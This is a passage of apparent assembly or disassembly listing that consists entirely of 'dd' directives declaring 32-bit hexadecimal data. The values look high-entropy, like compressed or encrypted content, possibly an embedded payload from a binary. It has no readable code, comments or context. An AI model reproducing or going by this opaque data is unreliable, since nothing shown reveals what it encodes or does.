		dd 0C888CB53h, 78DFC043h, 75067472h, 0CCC9A635h, 45790F58h
		dd 0C0149B26h, 9050BC3Fh, 96D945A6h, 9C6089D8h,	10BC1BFAh
		dd 0C836E231h, 27680CDh, 0B42BCB1Ch, 0ADDD3500h, 95788605h
		dd 20CF4ABFh, 3B96EDE8h, 7991989Eh, 8304104Ch, 0B4112174h
		dd 141E6904h, 8A805CFDh, 6C6D1FABh, 0BF75142Ch,	4C4828D7h
		dd 944C2716h, 882CCE3Ch, 98F9C6F5h, 24A3E27Ah, 0D0EBA2C1h
		dd 0E1C0B909h, 5FD6A93Ch, 27AD0052h, 95BFBE20h,	99006708h
		dd 4E437A55h, 0C48BD8FDh, 0B4141940h, 0C20189E8h, 3368B21Fh
		dd 0AE13BB0Ah, 0D8809DB9h, 7300BD4Ch, 0BC154E8Ah, 0F30D680Ch
		dd 0D4C01828h, 21F27C30h, 0EC2C1700h, 39D9C159h, 16ED5B66h
		dd 0AF58D21Ch, 3F608530h, 2CDE4582h, 8D010E0Ch,	0C89E4160h
		dd 75C4A5B9h, 0A38C0B22h, 0A840CEC6h, 0CF2494C2h, 5005945Dh
		dd 6C8B65F6h, 203B9A21h, 0D4664432h, 0C5196E11h, 285AFA1Ah
		dd 0FE70ACDBh, 350203D4h, 676DDF4Ch, 39460BA9h,	9F2827E0h
		dd 80FE11FCh, 0EA9B6CBCh, 0B2E0F9E5h, 0D10406E7h, 0E8CEC249h
		dd 7046DB1Ch, 1AA27907h, 588140B4h, 78688A5Ch, 48CF3BCh
		dd 65D84799h, 48D49059h, 6CE55488h, 90352234h, 1B4C5Ch
		dd 700FD725h, 15BC9133h, 80AFE52Eh, 2A8731DCh, 0EA73807Fh
		dd 9BC10096h, 0D968100Ah, 5130BB61h, 64DA693Ah,	73FC05FAh
		dd 56FF1195h, 3C8488C8h, 0C026FB0h, 2825E285h, 0D1A74026h
		dd 0AC5B508Dh, 356A177Ch, 57F4883Ah, 2860CA41h,	4F5B7555h
		dd 96BC0140h, 28C96A4Dh, 0BF161104h, 90102C2Fh,	0DD4052D6h
		dd 0F064B0A6h, 36B98B24h, 5C2980CFh, 6C2CF174h,	224CB086h
		dd 501241BEh, 0A853CAA5h, 0F286FC04h, 0FF642200h, 9CB89D7Fh
		dd 0C4D4635Ch, 0E25ED0F2h, 62433109h, 0EF4CC9F8h, 86808214h
		dd 101BF930h, 0E0EA31BFh, 1C0175h, 0FA52DDE7h, 0CC27244Ch
		dd 4F371701h, 0F7933270h, 6011B1D8h, 825DD9C6h,	0DA017F9Ch
		dd 0CF9BB5EBh, 64237A29h, 0C7F2FE10h, 6AD29382h, 10F73178h
		dd 13937ADFh, 2A47B91h,	6731220Ah, 0DB000CF2h, 0CB5772B0h
		dd 76F80E87h, 46B018Fh,	0A4EF9E84h, 4DEBECA5h, 38F60924h
		dd 501FCB11h, 2646C25Ch, 0D4B1C9DFh, 8611521h, 19804C65h
		dd 5F60FDF0h, 1107645Ch, 51225AA7h, 0A00FBD70h,	4262890h
		dd 6E3C0BB0h, 0A4319E85h, 0BBA1879h, 0ADD1F6E7h, 9A48701Ch
		dd 0E9A100D6h, 0D2167C22h, 0C8312C56h, 0BF37BD9Ch, 2B86F0C9h
		dd 1C1AE95Eh, 59B14645h, 18B57944h, 0FDC202A4h,	0F2DB252Bh
		dd 0F0E6CD2h, 201376BFh, 0D31FB178h, 4B7D0291h,	0D5F1065Ch
		dd 115DC449h, 5049372Dh, 44A22063h, 3CF59E30h, 3BBDF63Ch
		dd 24E007Dh, 5B782F10h,	0BC24A573h, 4676640Ah, 0D9300C2h
		dd 0CEDDBE50h, 2D54EACBh, 0C00B5306h, 9A2F5446h, 0BFFC21D9h
		dd 0C110E9DCh, 464951A9h, 897A04C8h, 0B891CE2Ch, 0C2CA4Bh
		dd 8BCF12DAh, 92C38D00h, 0AC8863D3h, 72A6EAF0h,	89C0CA81h
		dd 2FC300D4h, 0BD6EAD7Fh, 94691892h, 0C5C509B1h, 60BBC4D4h
		dd 1419B1Bh, 0E0271037h, 80C7147Fh, 6867B621h, 0B9DD9A1h
		dd 4FFA7A3Eh, 0BB373CE4h, 85842946h, 37C1D8C1h,	4F8B0007h
		dd 8148F6D1h, 44D71334h, 24F25400h, 4E04D8h, 56279812h
		dd 4335F15Bh, 0E0F1F8AAh, 27C0D600h, 71EA0Bh, 0C2D3AEFAh
		dd 0B85F2F7Bh, 19026778h, 0D9CF62D2h, 0B054D89Fh, 4866255Ch
		dd 19A0ACA6h, 54BB1F09h, 7B20A5C2h, 25DD5C80h, 0BC30FF7Eh
		dd 3CC441B6h, 5A40280h,	4D4D07Fh, 481409B0h, 0E894ABACh
		dd 8A340453h, 809BFA88h, 0F9C816A4h, 0BF300C00h, 0EDF12557h
		dd 53A04A4Fh, 0EF0047B0h, 88CAC6h, 0A6D159FCh, 844FB03Eh
		dd 8C79CC3Ah, 7DABDF09h, 0C40404D5h, 11EC1E17h,	0D37A05B4h
		dd 84F0C6CEh, 8FBB01B7h, 0D2EDA565h, 0E61C64A7h, 1164EA5Ch
		dd 951CC992h, 688C00C1h, 250315ECh, 0A6D2C8C2h,	3D60E805h
		dd 432B003Bh, 3560C8F7h, 0DB0CF87Fh, 20A8715Eh,	47E405ACh
		dd 381877B1h, 18E5C020h, 0ED6E10D3h, 4ABB17B3h,	3FDA0820h
		dd 0F2353AD2h, 8C8C94D0h, 0B91BFB02h, 1936FA31h, 36710C6h
		dd 0F750001Ch, 9661D4CAh, 0CF4B3916h, 0D1BF7821h, 8CB325D2h
		dd 0DC033148h, 0C4F7E70Ch, 7447AF7Eh, 0B085A1C4h, 0ADD63404h
		dd 0ACD1ECF5h, 708BE311h, 7E0B2F34h, 0A144A6D5h, 5FE5A500h
		dd 0FD04420h, 0CEF02722h, 80E02C56h, 467C3896h,	4BD3DC1h
		dd 0CCAC3EFEh, 0DE4648C1h, 0C0FC98A6h, 0B71E024Dh, 0A58F50Dh
		dd 0AC0E71DCh, 30C0C088h, 491EEB3h, 2922B259h, 14A08128h
		dd 5AE43001h, 0F8A86E75h, 0CE49BF7Ch, 0C35B0204h, 0EC9AAEE2h
		dd 52652AF0h, 0DD4D3DF8h, 83DBC79Eh, 0E7F2013Eh, 5D6F3900h
		dd 3F542581h, 5082FC4Ah, 0BA71C0D7h, 0D00A4A14h, 7B7819D8h
		dd 0CE8DE500h, 0FD9152FEh, 50B075FAh, 8A40CC84h, 0EBF678C0h
		dd 14A71880h, 540AC7D9h, 0BF8C2104h, 0A2B0B4DAh, 4D281600h
		dd 0D9E82E88h, 0C2EB0211h, 49BBB17Ah, 260045Eh,	90BD0BEDh
		dd 0BEBF70ACh, 5A0D4274h, 5FD9F200h, 0B4425C9Fh, 0A82210h
		dd 0C38A8032h, 9C08929h, 0F2CD920Ah, 0DAEBD068h, 5A68B900h
		dd 0C3D6C4E4h, 1A801EEEh, 0D3E70257h, 5AC02746h, 3F253D68h
		dd 7E68C9ACh, 0A74DCA10h, 0C9194162h, 0F9572075h, 5594488h
		dd 31D485C4h, 0E8A980C4h, 0B70A880Ah, 0E86B8F8Ch, 0E51182C3h
		dd 0E9E05A92h, 42009B8Ah, 0A14423A3h, 96B76AADh, 6C504998h
		dd 7C4BD941h, 0BB247622h, 0D441FC4Eh, 89D6D16Eh, 95A446C8h
		dd 42912C97h, 3DD14480h, 0AA4E6293h, 6ECFB002h,	14D0D0B1h
		dd 0CC5BBF11h, 37964282h, 2F828051h, 0F8EC461Bh, 86F4A1CCh
		dd 5C95BC30h, 0C388B0B7h, 0A371B8B1h, 642018AEh, 903C99D2h
		dd 0AA1ECA50h, 28B0D77Eh, 366426D4h, 7940CF40h,	5165F268h
		dd 0C209D9C0h, 9B9A0Bh,	8783C433h, 0AB5B3DCCh, 7A205098h
		dd 5FF525A7h, 0A3154498h, 62EC9A56h, 0A0BFB198h, 2168FC84h
		dd 1E4C09ABh, 0D8D2D00Fh, 7CB07220h, 451D0C22h,	0CB6043CFh
		dd 82C594A1h, 0B7356828h, 0D9F4C84Ah, 56100407h, 0F4B6F9F5h
		dd 4C401E78h, 78261049h, 0E56A06D6h, 0F419B0DAh, 38F841ECh
		dd 8CF7BC60h, 40B88900h, 0D8585D3Dh, 1D110B4Bh,	2C9166FCh
		dd 46CBD870h, 0FEED2D00h, 870FE0D5h, 0FA100052h, 0BEE6748Ah
		dd 7A06EE5Ah, 39334DC8h, 0ABED0598h, 0CDB5215Eh, 0E7B441C4h
		dd 72C911ADh, 0B404F078h, 807B862Fh, 0E6C574E4h, 0D50965F0h
		dd 10A65176h, 0B0355068h, 37201680h, 0FE6162Dh,	261DC00Ch
		dd 7ED202C8h, 2444A725h, 3880CA4Bh, 58545779h, 8C246830h
		dd 10F6008h, 7F00A8C7h,	6824CE2Ch, 0FAEA1FA7h, 96FB02A2h
		dd 0ED652EC1h, 76F170D9h
		dd 5E76C81Fh, 4ED58F00h, 76D406F8h, 0A09F7Dh, 0FA62DD8Eh
		dd 8B30C403h, 7454657Ch, 2ADE00F1h, 0A5EE908Dh,	0E7722F8Ch
		dd 10CC7648h, 310FADCDh, 9C349223h, 0DF788C31h,	4BE8833Dh
		dd 0A0A76A5Ch, 3331B19Ch, 50208B15h, 0FB1835BAh, 0B4E4001Fh
		dd 0C7AF81D8h, 29F6241h, 798780E0h, 18B7D1E0h, 0D14017FFh
		dd 56740841h, 136E2280h, 268893Ah, 9BD64B06h, 247684DEh
		dd 7F84674h, 2A49CE0Eh,	41BC2FE2h, 18729F38h, 68231125h
		dd 8EF0FC69h, 42002824h, 0F1FF9EE1h, 1D3A088h, 0AD45E003h
		dd 0EDFE0164h, 0BD8010EEh, 17750058h, 0B497C589h, 25047003h
		dd 74F092B5h, 42E25CE2h, 700130h, 8C9B0A68h, 0BCB712A2h
		dd 64D99C2Eh, 48CDCE08h, 6F044AE0h, 0A77EE640h,	0B0052D3Ch
		dd 7C1DCA1Eh, 0BCF200B2h, 7E8CEE30h, 731602E4h,	687F20AAh
		dd 0B9817C54h, 12F3F8A3h, 13717E0h, 27A5C91h, 82829E38h
		dd 5F3DC870h, 0AFC0D932h, 0F891AC15h, 1550C880h, 6A0B02DDh
		dd 90F5720Eh, 3BB42B00h, 27006E81h, 16DC2FC4h, 7F0E3379h
		dd 603D42F9h, 89CABD2Bh, 40B84BACh, 0D0B10D3Ch,	2904D3F2h
		dd 0F92CF777h, 6E1054F8h, 0D44F18C8h, 80D3EA10h, 2D13B75Ch
		dd 18B0D19Fh, 883AB5EDh, 288A5041h, 1BF5C018h, 430A31BBh
		dd 0C52237h, 8E1BFD69h,	0E99F16DEh, 0F2CE7C0Ch,	3FAD9EDh
		dd 0C0390734h, 5680F642h, 2559C363h, 9CCD9634h,	41573DC0h
		dd 60183136h, 9D9D7D93h, 87FA11E0h, 273020BEh, 2F467Ch
		dd 0A6A1430Eh, 1A718B8h, 0C10828E9h, 0CC4649D9h, 0D7F02C2Ah
		dd 0B3E5AE45h, 470C319Ch, 91559679h, 3830DE7Ch,	53BB09FCh
		dd 0B1B458C3h, 1943D168h, 62DD25C0h, 756E2878h,	34D220E2h
		dd 66AB7416h, 1DA04B4h,	1042450Ch, 79386DADh, 0B4DC1350h
		dd 7C300E0h, 0A6D1802Fh, 8084A45Fh, 710A161Ch, 247DAB01h
		dd 4D567BD7h, 240C020h,	4BACB841h, 7C583ECEh, 19FE5C98h
		dd 48D14E4Bh, 2700D325h, 0C09A561Bh, 0B1965B16h, 83B51428h
		dd 6422380Bh, 83A448AFh, 0BEF0A847h, 85093051h,	82FCF768h
		dd 0F44458B1h, 7320230Ah, 0C0320EFAh, 833C7644h, 0A95E4287h
		dd 81003054h, 0E2C41B4Bh, 0A0AE0FDFh, 0A622D0A4h, 454CE20h
		dd 0A36E00F4h, 9A078D9Eh, 834C92C8h, 0C04A2290h, 3AC79376h
		dd 0DC038F48h, 0BD3488A7h, 31A2D1A3h, 264C203Bh, 2E00F9C6h
		dd 0BB451B71h, 5361DFEh, 69B09E3Dh, 8138C084h, 0F313EEE1h
		dd 0E896C652h, 67501369h, 6848C8B5h, 0F5D3DAA3h, 0A1842140h
		dd 6311A440h, 0FA503910h, 5D5627B0h, 0A435EC1Ah, 44B04719h
		dd 643E60B9h, 69AF3007h, 0F7A7ADD6h, 0A441F07h,	0C3FE4A5h
		dd 0D4BA1CDh, 5DB70765h, 32E43010h, 97D4D040h, 0FE726C02h
		dd 47D4EC74h, 177AF27Ah, 0A085CA6h, 2FEC04B5h, 0F30B2D3h
		dd 2BDD173Ah, 0E4486561h, 816760C3h, 0F8985087h, 4F6A0B61h
		dd 0A8629C11h, 0A712CC83h, 5435990Bh, 0A56880AFh, 0B7D77326h
		dd 0B0DC0C22h, 86BE4501h, 0A12487Ch, 8874322Dh,	111BEF30h
		dd 88DA31BDh, 0F77380C5h, 0EE0D271Bh, 7C43F25Bh, 0F8D3D526h
		dd 5A772560h, 5E8C881Dh, 2163C03h, 0C097907Dh, 81059Bh
		dd 728429BBh, 79FF1396h, 504CC0CEh, 23D2BF09h, 12084CD1h
		dd 3A101353h, 24723A0h,	22A6D58Ah, 64E268C8h, 0B701690Fh
		dd 0AF7879E6h, 0B070FC28h, 7822437Ch, 0A51732Fh, 0F0208C28h
		dd 59E62811h, 0A638CE07h, 9802D994h, 92035AD4h,	80E0CCD9h
		dd 1FEFEB3h, 0D1404A22h, 48C02B29h, 0A46ECFD8h,	880A8078h
		dd 595AE8A8h, 0C53114F1h, 84313281h, 0C8F8CC2Eh, 73C090ECh
		dd 0C44DC3E8h, 695B6C23h, 11CFEC00h, 263152F6h,	899018D3h
		dd 1FB0B2C4h, 5022AB63h, 0A61B73CEh, 0A489BA9h,	117ED138h
		dd 0E6778D88h, 0D9188FAEh, 48CE2A61h, 0C2E86940h, 7D3320C5h
		dd 0CCA9B121h, 808559D0h, 44B6E870h, 60534E48h,	3B2FC220h
		dd 0B8CE206Eh, 7EE803A8h, 5A541A54h, 4C1254B0h,	0AC820EBEh
		dd 2386464h, 0ED9787ACh, 500CD0AAh, 44EC5AE2h, 65C1590Ch
		dd 885D0E5h, 301D7ED4h,	0B066E534h, 2390A3B7h, 63703CDBh
		dd 99AA50F6h, 74731D11h, 30CD99A3h, 6819AC56h, 305F2208h
		dd 875AEBB0h, 0C40820FDh, 6804307Ch, 0ACE1A865h, 686BE1C3h
		dd 0C850C169h, 0C08CC58Ch, 0B29CF90h, 451C80A8h, 0CA9A3F9h
		dd 4B38C709h, 3F101064h, 0C6CD0FABh, 0C3A098A2h, 576A24E2h
		dd 77780D5Ch, 686E3E48h, 0C0F2651Dh, 0D1FDAEF3h, 0A441F55Eh
		dd 95A9CFF8h, 0D32FB019h, 0D1F4880Bh, 2B0C406h,	0EDA1084Bh
		dd 2CD1352Eh, 112D7C11h, 8BC9F468h, 8A3F1300h, 0D460A0D6h
		dd 0FEEA001Ah, 3B48F6B4h, 0F7201E55h, 0BB220CC3h, 0AA81B151h
		dd 14457E2Eh, 591B2C85h, 358460ACh, 0C6A341BDh,	0C100B8BAh
		dd 7E037FE2h, 7902CF2Ch, 8308F057h, 0A31126C2h,	1550850Ch
		dd 0D5B1C096h, 0F9D9D6Eh, 0D4900348h, 14D80007h, 580FBBE2h
		dd 3F4E88E8h, 0A05B1847h, 2A22D190h, 0A86F3E4Fh, 64551B89h
		dd 0AB4424F0h, 915E16D4h, 61EC44CEh, 23D4105Ah,	608403B0h
		dd 8E95457Fh, 8C1300E0h, 9C4A0960h, 1246018Dh, 69ED70C5h
		dd 9100F7F5h, 6117BBC1h, 34B891Ah, 87B0058Fh, 211885DDh
		dd 0A508AB1Ch, 59166729h, 0E761E1D4h, 0B078854Ch, 7000F301h
		dd 626B29BEh, 9ACB4C5h,	0D829E4A0h, 19C00006h, 8D02D243h
		dd 8C611BA3h, 132FB4C0h, 0A2504712h, 23E458A5h,	81254A12h
		dd 0D229ECC4h, 0D6423CDCh, 3E8B0FCBh, 2F3FD830h, 0A6D18F00h
		dd 2506F51Eh, 594B767Ch, 0B73CA8A7h, 9E2C2860h,	1C357704h
		dd 8027165h, 5CC9B1Eh, 1911C6C5h, 0E9A482B5h, 0CBE103ABh
		dd 57181903h, 0F8088534h, 5929C5h, 84955851h, 0DE2A3D9h
		dd 0AC05D6F4h, 8B09F54Dh, 0D00EC8C3h, 0B9725Dh,	0E7E6027Dh
		dd 0C74252F3h, 5F8E8D1h, 0B56C77D0h, 17534C02h,	6EACE026h
		dd 24F280CBh, 6C00BCA4h, 0BAC37D6Dh, 276ED4BDh,	0C8A5A55Dh
		dd 84B8CFD7h, 0F221579Ah, 42B908CCh, 2038E4FDh,	0BAB8BB16h
		dd 0D75ACE89h, 0D4A0AC7Bh, 1DDE1727h, 81F69110h, 0C011604Bh
		dd 0E40051BAh, 0D0BE1D26h, 7B00B98Eh, 86D15215h, 25EC6927h
		dd 0EC8D9366h, 0CB1C20B9h, 0C89D6124h, 43F5B45h, 7BD87500h
		dd 71E49CC6h, 0B09E8C00h, 0DF968B92h, 898E28ECh, 7D07B0Ch
		dd 0EBED958Dh, 7CB072C6h, 0C079E400h, 3EE7F098h, 0EC3E9589h
		dd 778963Eh, 3AF19AC2h,	75E2C0C5h, 0E0749B8Dh, 0B0978F03h
		dd 9B988AE8h, 94FB3Ah, 0EC9BC328h, 0E7238CEEh, 0CCC4F006h
		dd 4840EFF3h, 7803E2E3h, 8F8B79E8h, 258CE2B8h, 0EE55A000h
		dd 13BC9B2h, 441F9CCh, 808F9133h, 138090EBh, 0AB70AF87h
		dd 9B019C0Ch, 78E579EAh, 0C571CFEBh, 0D318D78Dh, 0D59CE115h
		dd 918D0C08h, 148918E0h, 38CA76DEh, 8688806Ch, 90ECF102h
		dd 0F0DF91h, 97063B99h,	0E04EC618h, 30887BE8h, 6D380A71h
		dd 0C56536B0h, 0A0009C40h, 85AC73F3h, 0DE3B0104h, 0E777B1CCh
		dd 60EDC1BDh, 916705B5h, 0D5409EE1h, 7EE54F4h, 0C0EFDE7Ch
		dd 4887E57Bh, 0E607883Ch, 53BE724h, 3C60B035h, 0F919996h
		dd 78B68FE4h, 8B04C191h, 0E4F39E8Ah, 1EF8402Dh,	2FBDB9DBh
		dd 22AE64CCh, 0FBF00516h, 8E6CB879h, 138508DAh,	2CAC4194h
		dd 0A63CC9D1h, 0F90BF819h, 4A47175h, 1306F189h,	42487CD6h
		dd 22AB04AEh, 0F8AC3E10h, 0A491730Bh, 0FC5BE493h, 0A2F30C88h
		dd 0DFB0C42Ch, 0A17C9A60h
		dd 0C12D54C1h, 0FDE71385h, 98B49CC8h, 5870D994h, 0D46909EAh
		dd 0FF2A6061h, 40EC2930h, 4212AB7Ch, 7892D572h,	58688C83h
		dd 0ACB1849Ah, 2E156033h, 9E08BD1h, 68A0FE80h, 7DD88AC9h
		dd 250894A7h, 1A5059F3h, 0DF70E7C8h, 0EE448D79h, 0FE479438h
		dd 2840CD1h, 7FF205CBh,	2EED50C8h, 62C83CA2h, 2700CE45h
		dd 9FF4461Bh, 0BF359CA2h, 0F6C64B20h, 0A2A0A0B1h, 3E5533EAh
		dd 0D0EC6518h, 9976CE88h, 48C10BEh, 10D28A7h, 455F361Ch
		dd 2BCC02C6h, 3BAE3444h, 2F278532h, 0B013AB3h, 7060DC80h
		dd 0EF35F8C0h, 0BEC2ACABh, 0FDE724A0h, 317720D3h, 0D4987654h
		dd 0C97E2Dh, 869527BCh,	54A75868h, 0F0B0922Ah, 81AF684Dh
		dd 2FBA02C3h, 446D2D5h,	8042448Ch, 0DCA5E722h, 844E510Ah
		dd 655EDC82h, 1140D9B3h, 0D6485089h, 360441D4h,	4318918Fh
		dd 909721E6h, 64C7C8DEh, 231C54EEh, 67CC12B8h, 324E3248h
		dd 0E5085C0Ah, 922701CDh, 916C8736h, 0E829E40h,	3C44F9EEh
		dd 0C24A9CA0h, 54A9C283h, 0E96862A8h, 0E1000046h, 29B519DDh
		dd 89B0BFh, 8682EEB9h, 0E8332F58h, 0F83CD900h, 1968857Bh
		dd 141A124Fh, 0F2E0E082h, 0AA9F4602h, 0D4D8E866h, 262A3D44h
		dd 1E7B9Ch, 844D9DA2h, 0D91C8003h, 31695002h, 7AD3BF7Fh
		dd 32EC2440h, 0C4AC64h,	7987B06Ch, 290EC3A1h, 80A92C84h
		dd 7075DF95h, 68FAD4h, 3D1C4F17h, 0B04A59C5h, 14D8300h
		dd 89CCD382h, 0CF3B2FBCh, 6C00A464h, 0A348D1D5h, 9964AFh
		dd 746FCEC9h, 566727ABh, 0DD2081BDh, 4805A909h,	24A2320Ch
		dd 0A80F9C00h, 1BE7156Eh, 0C0320194h, 110DBE5Ah, 7DC1809Dh
		dd 0E8038CB0h, 70A30022h, 0EA265058h, 0D21C7FABh, 0A8C8831h
		dd 1B69BDh, 0A7D7DD70h,	19078F71h, 9988EF00h, 0C1614CE6h
		dd 5FF40011h, 43A2AB21h, 0C800D509h, 12BC0BEDh,	14A25D8h
		dd 78A01F0Eh, 0C1247433h, 1834D09Ch, 710CB800h,	0D0381B50h
		dd 92266A4h, 580121CBh,	54E470FFh, 92E089B4h, 1307C97h
		dd 7AD47498h, 0FCAB0ED6h, 0B31D78BCh, 0DE11BBE4h, 0DD52F200h
		dd 1C19CEEBh, 342F3107h, 71307C13h, 776F79Ch, 2C85AFEDh
		dd 244D2018h, 0B419554Fh, 2DA1167Bh, 6089D4h, 56C19AD5h
		dd 2C8804A8h, 100BA300h, 0FDDE1F9Ch, 7420C3CBh,	6F91BC0h
		dd 8204E7Ch, 6087F7C3h,	0C05A16Ah, 30979F30h, 1B68B38h
		dd 538F2D9Ah, 98572530h, 34D01E08h, 0B69200E5h,	1AB82624h
		dd 5280DB3h, 93468CEDh,	88DD5D1Fh, 0F3704CABh, 0FDD0255h
		dd 42FCC3FFh, 6E80B48Fh, 5CB7F2B2h, 0D57F7C00h,	0A9FB1037h
		dd 87E70E1Ch, 0C7C41AE1h, 2A86C216h, 0D97FA4AEh, 0E05E413Ch
		dd 7760F048h, 5F9C5411h, 0EFFC1D89h, 9F59944h, 8021B94Bh
		dd 2865F24h, 28F9F623h,	46243226h, 5F9A0252h, 311FFC83h
		dd 22361050h, 0BA2F485Fh, 0B65ABA03h, 0BBB89085h, 55301314h
		dd 3D1A2974h, 0C95786Bh, 76242165h, 0EF487A18h,	8CC9B848h
		dd 53119C00h, 9B879F3Dh, 0E0AE540Bh, 0EA7101BDh, 25DB1CBEh
		dd 311021E8h, 7810560Dh, 7DEF7520h, 0A2FA32A4h,	6C458A38h
		dd 0C63D8E4h, 0D64A9AE8h, 7E70D20Fh, 3421B984h,	7C5880C2h
		dd 1D645EDEh, 0C08E77D0h, 5062AA70h, 0A9069E76h, 659C84E8h
		dd 0D5B70039h, 503DB077h, 2F03DE87h, 0AE386B6Eh, 0F3D1C86Dh
		dd 7C050169h, 9D4D5D9Eh, 0B87B1366h, 43A833h, 0E2B8CB07h
		dd 157745C6h, 8EB4805h,	2F80E00Bh, 1AA6BB64h, 0A9313519h
		dd 6021C024h, 2377710Fh, 0C011101Ch, 71065D00h,	0DE25E167h
		dd 14D9873Dh, 882841ABh, 7111C01Fh, 60461C79h, 5700C522h
		dd 16177108h, 64A912h, 0A5A68453h, 0EAB375B4h, 2A4A9630h
		dd 0A42EC27Ch, 7DCA1B0h, 0B67E8518h, 117F2D23h,	8CDF003Ch
		dd 7D85FCB6h, 0E5A300ADh, 1F5FDB21h, 7A3A78D7h,	84BDBC55h
		dd 0B043D807h, 916811C6h, 181BD110h, 21460C23h,	94093A6h
		dd 0B67F028Ch, 582F2D96h, 86E10E16h, 0DB6117B6h, 80120A89h
		dd 9CC09919h, 0FD1D43h,	0E1B97A19h, 4E4F6FE7h, 0FF97D000h
		dd 6476C118h, 0C8A89831h, 79C00B78h, 462D94B6h,	11221Fh
		dd 0D8B680EBh, 0A3BE6FB3h, 2DB4870Ah, 0C8CB833h, 0E2FE2908h
		dd 6BA3BC3h, 2D4EB500h,	29C156Dh, 7F63AC00h, 1423D78Eh
		dd 0B1997B5Dh, 18DDD118h, 6FEA0373h, 0C5EB2E3Ch, 879D39E8h
		dd 647448B8h, 282C1626h, 587E4380h, 186B72A3h, 19241C2Dh
		dd 0A1E2B0F7h, 78A2B0C3h, 0C25FAAA6h, 1174977Ch, 8D2583BFh
		dd 7F6FF0D1h, 5E9900ECh, 8668BE76h, 34785F9Dh, 961E949Bh
		dd 0BFFC91BBh, 3A804A88h, 96BE5F9Eh, 9085644Fh,	710E6022h
		dd 81C217Ah, 710962C0h,	1B0302E3h, 0F9C9304Dh, 0D8A9D090h
		dd 0FA8024B1h, 9E092EEh, 23E900F6h, 51F4BD74h, 66027162h
		dd 3460EC6Dh, 42C8CF1Dh, 1B10D445h, 20488D02h, 0C89CB045h
		dd 90E47C98h, 18D461Ch,	0AB0FD677h, 0A862B57Ch,	0DD4FF1C0h
		dd 6F48B030h, 98A42C60h, 46748826h, 6BAA0051h, 70775CC2h
		dd 194008Bh, 0A258E31h,	871C41EEh, 79B2DFDBh, 0B049734h
		dd 7820D40Dh, 4497BE78h, 0E09CBC29h, 0AE251C3Ch, 9AD4C680h
		dd 0F4A47215h, 0A30D249Dh, 859305E0h, 64D41EDBh, 8206BE6Ch
		dd 28A07214h, 33F23D43h, 85945098h, 3BDDD618h, 0B1A821h
		dd 0ABA062F9h, 0E8339A22h, 70A18C6h, 0C2CAE039h, 33BA2341h
		dd 0B1F91068h, 3863AD30h, 0C70AFAC8h, 386451h, 12D0D244h
		dd 5F931500h, 60A81D91h, 2A771FB5h, 0DAF88DD8h,	0E53C4291h
		dd 0BF0198AFh, 20B845AEh, 0CB032E4Ch, 1713193Eh, 97E024EAh
		dd 9950001Ch, 0FC5FD079h, 5198360h, 74B57435h, 8911E7Ch
		dd 87ABC24Eh, 0CCE03342h, 1F099B72h, 0A02150E3h, 1C8E2830h
		dd 938600Ch, 0BB6F7732h, 9D446B05h, 0B8C2743Eh,	6E4CB97Dh
		dd 0A39CB840h, 0E0585296h, 20017822h, 68BB7648h, 0F082F698h
		dd 0FBF8C7F7h, 44D17925h, 55E58734h, 3FA9024h, 44050ADBh
		dd 2104FEAFh, 0DE89186Bh, 0BF89E010h, 47106407h, 92C8F45Bh
		dd 0BC8C4BB4h, 0CBF0DB21h, 71299D30h, 5006216Dh, 6097884Ah
		dd 0E804875h, 0BB04A435h, 0A2BF0AB7h, 32217802h, 0A5443450h
		dd 0BB53072Fh, 0A0846D63h, 0F0B75F2h, 0AC7E0C92h, 5F31BC00h
		dd 0C7A2B66Bh, 0C83F74F3h, 0FE807540h, 0F9D26D29h, 2890A90Eh
		dd 161022DFh, 8B5F9200h, 555B9FBEh, 2F2C066Eh, 0C132DDD8h
		dd 622E4A73h, 7429E8EFh, 0BC11770Ah, 5E230780h,	19012F6Dh
		dd 7944F9F7h, 14D0E020h, 5FB28800h, 3BEE0EDDh, 0A0BC021Ah
		dd 6B3E5CCFh, 109C2C41h, 4C8670C0h, 3648CC8Ch, 5A7CD500h
		dd 0D332426h, 0F4C0D254h, 2A71A600h, 0AA6885DDh, 648615CEh
		dd 180EA024h, 58B9415Ah, 8F40129Bh, 11930C88h, 8E710016h
		dd 0A44B8C4Dh, 0CA53F8C8h, 0C44E24D4h, 884828A0h, 21E4C360h
		dd 4E210052h, 576AAF9h,	0D930A77Ch, 0AC1A1954h,	0D03F550Bh
		dd 4865AD20h, 0BF0020D3h, 4B9730F3h, 4404EE41h,	292DAEFDh
		dd 1460E8C4h, 50F91B5Ch, 422130E6h, 1E2C7C31h, 0B0B241Dh
		dd 529CA02Bh, 79938855h, 0A9F887h, 822CCD9Ah, 0ADC58CAh
		dd 0D1C03C90h, 0D52EA496h, 0F93A02D9h, 42F6C7FBh, 7A4C0444h
		dd 0F0284268h, 875C9628h, 8D319D47h, 2C4119A6h,	60EDD44Ah
		dd 5C48C050h, 0B042156Fh, 0A403A00Ah, 3261A83Fh, 0A070B680h
		dd 881C5A48h, 8C776099h, 627B9A15h, 0CA987450h,	5E106542h
		dd 6218624Dh, 1EBA1064h
		dd 107A4384h, 93C27D2h,	0E33097ACh, 11076FFBh, 0A3132214h
		dd 84A6D000h, 447102F6h, 1BDEF955h, 0B3CA2C81h,	89C1719Fh
		dd 20A320F0h, 8E3E5590h, 0EB930387h, 661389AAh,	311C8004h
		dd 38E24663h, 143A4322h, 0CA990F8Ah, 9320189Eh,	73D7280Dh
		dd 0FC700184h, 82E21CC1h, 66A83063h, 0F523205h,	4C19A79h
		dd 7860C2BAh, 0CA7E12BFh, 653C0034h, 2D8E4507h,	0A92876E2h
		dd 756044B1h, 0AEBE8251h, 5F31C06Eh, 9F3EC950h,	0AB7C1202h
		dd 6154C491h, 0CEF11A6Ch, 2135B983h, 180F52B6h,	307EF9D5h
		dd 980007Bh, 981C833Dh,	3C526B2Ah, 0AFA21B94h, 0AA85E130h
		dd 0D4EF86E0h, 7322B410h, 0A6FAF0FFh, 84B418C9h, 0D42BC84h
		dd 94817953h, 80C56B70h, 7199DE8h, 308B749Fh, 0DC0257Ch
		dd 371E4013h, 0BF197AA3h, 0B6086D29h, 44DF2844h, 0BD44403Fh
		dd 29228881h, 0FB5AED00h, 0CD484483h, 77510076h, 0E02C7BDEh
		dd 87F21F34h, 6D98D600h, 0BFA1E265h, 0F2B90071h, 0F989F895h
		dd 1F0EC5B2h, 40ADB86Bh, 0DAF1B0F5h, 42AE01CFh,	0DF3A66D2h
		dd 0DE0EC4E4h, 0DB99900h, 0F812CAD0h, 4D5803C1h, 0BCE753D2h
		dd 0A954688h, 625D4403h, 0B87D8F6Fh, 88803777h,	0B700AA94h
